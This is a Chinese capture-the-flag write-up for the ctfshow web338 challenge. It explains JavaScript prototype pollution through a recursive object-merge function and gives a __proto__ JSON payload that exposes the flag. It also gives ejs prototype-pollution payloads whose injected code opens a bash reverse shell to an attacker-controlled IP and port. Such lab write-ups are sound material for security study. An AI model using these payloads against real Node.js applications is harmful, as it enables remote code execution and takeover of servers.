题目描述处蓝奏云下载源码
    web338.zip

    先看看这篇文章了解一波什么是 JS 的原型链污染
    https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

    关键代码
    utils/common.js

    1. function copy(object1, object2){
    2. for (let key in object2) {
    3. if (key in object2 && key in object1) {
    4. copy(object1[key], object2[key])
    5. } else {
    6. object1[key] = object2[key]
    7. }
    8. }
    9. }

    routes/login.js

    1. var secert = {};
    2. ....
    3. utils.copy(user,req.body);
    4. if(secert.ctfshow==='36dboy'){
    5. res.end(flag);
    6. }

    也就是说,我们不用关心 secert 是否有 ctfshow 这个属性,因为当它找不到这个属性时,它会从它自己的原型里找。

    这里的 secert 是一个数组,然后 utils.copy(user,req.body); 操作是 user 也是数组,也就是我们通过 req.body 即 POST 请求体传入参数,通过 user 污染数组的原型,那么 secert 数组找不到 ctfshow 属性时,会一直往原型找,直到在数组原型中发现 ctfshow 属性值为 36dboy 。那么 if 语句即判断成功,就会输出 flag 了。

    payload

    1. {"__proto__": {"ctfshow": "36dboy"}}

    image.png

    一般遇到这种整套代码,特别是带有 package.json 的,可以尝试 snyk
    image.png

    发现个 ejs 的 RCE
    https://evi0s.com/2019/08/30/expresslodashejs-%E4%BB%8E%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%B0rce/

    1. {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"');var __tmp2"}}

    先污染参数
    image.png
    然后随便请求一下,触发 render 方法
    image.png
    成功反弹 shell
    image.png
    不过 snyk 给出的 poc 用 filename 参数利用好像有点问题, 不太清楚为啥。。即

    1. {"__proto__":{"filename":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"');var __tmp2"}}

    顺便记录一下 node 项目本地启动方法,在项目文件运行下面命令即可。

    1. npm start

    image.png
    默认端口为 3000